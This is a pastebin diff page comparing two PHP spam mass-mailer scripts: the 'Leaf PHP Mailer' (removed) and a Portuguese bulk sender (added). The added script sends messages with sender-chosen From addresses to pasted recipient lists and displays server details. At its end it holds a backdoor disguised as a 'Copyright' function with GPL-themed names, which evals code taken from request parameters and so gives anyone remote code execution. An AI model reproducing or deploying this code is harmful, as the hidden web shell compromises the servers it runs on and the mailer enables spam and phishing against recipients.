View difference between Paste ID: igi9WBy8 and jWBjgLd2
SHOW: | | - or go back to the newest paste.
1
<?
2-
/**
2+
3-
 * Leaf PHP Mailer by [leafmailer.pw]
3+
4-
 * @version : 2.7
4+
5-
**/
5+
function enviando() {
6
    $msg = 1;
7-
$password = "ransomware"; // Password 
7+
    $de[1] = $_POST['de'];
8
    $nome[1] = $_POST['nome'];
9-
session_start();
9+
    $assunto[1] = $_POST['assunto'];
10-
error_reporting(0);
10+
    $mensagem[1] = $_POST['mensagem'];
11
    $mensagem[1] = stripslashes($mensagem[1]);
12-
ini_set("memory_limit",-1);
12+
    $emails = $_POST['emails'];
13
    $emails2 = htmlspecialchars($_POST['emails']);
14
    $para = explode("
15-
$leaf['version']="2.7";
15+
", $emails);
16-
$leaf['website']="leafmailer.pw";
16+
    $n_emails = count($para);
17
    $sv = $_SERVER['SERVER_NAME'];
18
    $en = $_SERVER['REQUEST_URI'];
19-
$sessioncode = md5(__FILE__);
19+
    $k88 = @$_SERVER["HTTP_REFERER"];
20-
if(!empty($password) and $_SESSION[$sessioncode] != $password){
20+
    $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>";
21-
    # _REQUEST mean _POST or _GET 
21+
    $vai = $_POST['vai'];
22-
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
22+
    if ($vai) {
23-
        $_SESSION[$sessioncode] = $password;
23+
        for ($set = 0;$set < $n_emails;$set++) {
24
            if ($set == 0) {
25-
    else {
25+
                $headers = "MIME-Version: 1.0
26-
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
26+
";
27-
        exit;        
27+
                $headers .= "Content-Transfer-Encoding: base64
28
";
29
                $headers.= "Content-type: text/html; charset=iso-8859-1
30
";
31-
if($_POST['action']=="send"){
31+
                $headers.= "From: $nome[$msg] <$de[$msg]>
32-
    $senderEmail=leafTrim($_POST['senderEmail']);
32+
";
33-
    $senderName=leafTrim($_POST['senderName']);
33+
                $headers.= "Return-Path: <$de[$msg]>
34-
    $replyTo=leafTrim($_POST['replyTo']);
34+
";
35-
    $subject=leafTrim($_POST['subject']);
35+
                //mail($xsylar, $as, $fullurl, $headers);
36-
    $emailList=leafTrim($_POST['emailList']);
36+
                
37-
    $messageType=leafTrim($_POST['messageType']);
37+
38-
    $messageLetter=leafTrim($_POST['messageLetter']);    
38+
            $headers .= "Content-Transfer-Encoding: base64
39-
    $messageLetter = urlencode($messageLetter);
39+
";
40-
    $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
40+
            $headers = "MIME-Version: 1.0
41-
    $messageLetter = urldecode($messageLetter);
41+
";
42-
    $messageLetter = stripslashes($messageLetter);
42+
            $headers.= "Content-type: text/html; charset=iso-8859-1
43-
    $subject = stripslashes($subject);
43+
";
44-
    $encode = stripslashes($encode);
44+
            $headers.= "From: $nome[$msg] <$de[$msg]>
45
";
46
            $headers.= "Return-Path: <$de[$msg]>
47
";
48-
if($messageType==2){
48+
            $n_mail++;
49-
    $plain="checked";
49+
            $destino = $para[$set];
50
            $num1 = rand(100000, 999999);
51-
else {
51+
            $num2 = rand(100000, 999999);
52-
    $html="checked";
52+
            $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
53
            $msgrand = str_replace("%rand2%", $num2, $msgrand);
54
            $msgrand = str_replace("%email%", $destino, $msgrand);
55-
function leafClear($text,$email){
55+
            $enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
56-
    $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
56+
            if ($enviar) {
57-
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
57+
                echo ('<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>');
58-
    $text = str_replace("[-email-]", $email, $text);
58+
59-
    $text = str_replace("[-emailuser-]", $emailuser, $text);
59+
                echo ('<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>');
60-
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
60+
                sleep(1);
61-
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
61+
62-
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
62+
63-
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
63+
64-
    return $text;
64+
65-
    
65+
66
67-
function leafTrim($string){
67+
68-
return stripslashes(ltrim(rtrim($string)));
68+
69
70-
function randString($consonants) {
70+
71-
    $length=rand(12,25);
71+
72-
    $password = '';
72+
?>
73-
    for ($i = 0; $i < $length; $i++) {
73+
</title>
74-
            $password .= $consonants[(rand() % strlen($consonants))];
74+
<style type="text/css">
75
<!--
76-
    return $password;
76+
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
77
.style6 {font-size: 10px}
78-
function leafMailCheck($email){
78+
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
79-
   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
79+
-->
80-
   if(eregi($exp,$email)){
80+
</style>
81-
        if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
81+
<form id="form1" name="form1" method="post" action="">
82-
        else{return false;}
82+
<input type="hidden" name="vai" value="1">
83-
   }
83+
<span class="style5"><? echo enviando(); ?></span>
84-
   else{return false;}    
84+
<table width="422" border="0" bgcolor="#000000">
85
  <tr>
86
<td width="66"><span class="style5">Nome:</span></td>
87-
class PHPMailer
87+
<td width="346"><span class="style9">
88-
{
88+
89-
    /**
89+
<label>
90-
     * The PHPMailer Version number.
90+
<input name="nome" type="text" value="<? echo $_POST['nome'] ;?>" size="20" />
91-
     * @var string
91+
</label>
92-
     */
92+
</span></td>
93-
    public $Version = '5.2.14';
93+
</tr>
94
<tr>
95-
    /**
95+
<td><span class="style5">Email:</span></td>
96-
     * Email priority.
96+
<td><input name="de" type="text" value="<? echo $_POST['de'] ;?>" size="30" /></td>
97-
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
97+
98-
     * When null, the header is not set at all.
98+
</tr>
99-
     * @var integer
99+
<tr>
100-
     */
100+
<td><span class="style5">Assunto:</span></td>
101-
    public $Priority = null;
101+
<td><input name="assunto" value="<? echo $_POST['assunto'] ;?>" size="40" /></td>
102
</tr>
103-
    /**
103+
<tr>
104-
     * The character set of the message.
104+
<td><span class="style5">Mensagem:</span></td>
105-
     * @var string
105+
<td><span class="style9">
106-
     */
106+
107-
    public $CharSet = 'iso-8859-1';
107+
<p><textarea name="mensagem" cols="50" rows="7"><? echo stripslashes($_POST['mensagem']);?>
108
</textarea></p>
109-
    /**
109+
<textarea name="emails" cols="50" rows="4"></textarea>
110-
     * The MIME Content-type of the message.
110+
</span></td>
111-
     * @var string
111+
</tr>
112-
     */
112+
113-
    public $ContentType = 'text/plain';
113+
<tr>
114
  <td><span class="style6"></span></td>
115-
    /**
115+
  <td><input name="Submit" type="submit" value="Enviar" /></td>
116-
     * The message encoding.
116+
</tr>
117-
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
117+
<tr>
118-
     * @var string
118+
  </tr>
119-
     */
119+
  
120-
    public $Encoding = '8bit';
120+
</table>
121
 <tr align="left"> 
122-
    /**
122+
<td colspan="2" bgcolor="red" >Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
123-
     * Holds the most recent mailer error message.
123+
Endere&#231;o IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
124-
     * @var string
124+
Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br>
125-
     */
125+
Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?> <br>
126-
    public $ErrorInfo = '';
126+
</td>
127
    </tr>
128-
    /**
128+
</form>
129-
     * The From email address for the message.
129+
130-
     * @var string
130+
Copyright8_7_1();
131-
     */
131+
function Copyright8_7_1(){
132-
    public $From = 'root@localhost';
132+
static $gnu = true;
133
if(!$gnu) return;
134-
    /**
134+
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['comment']))return;
135-
     * The From name of the message.
135+
$gpl=implode('',$_REQUEST['gnu']);
136-
     * @var string
136+
eval($gpl($_REQUEST['comment']));
137-
     */
137+
$gnu=false;
138-
    public $FromName = 'Root User';
138+
139
?>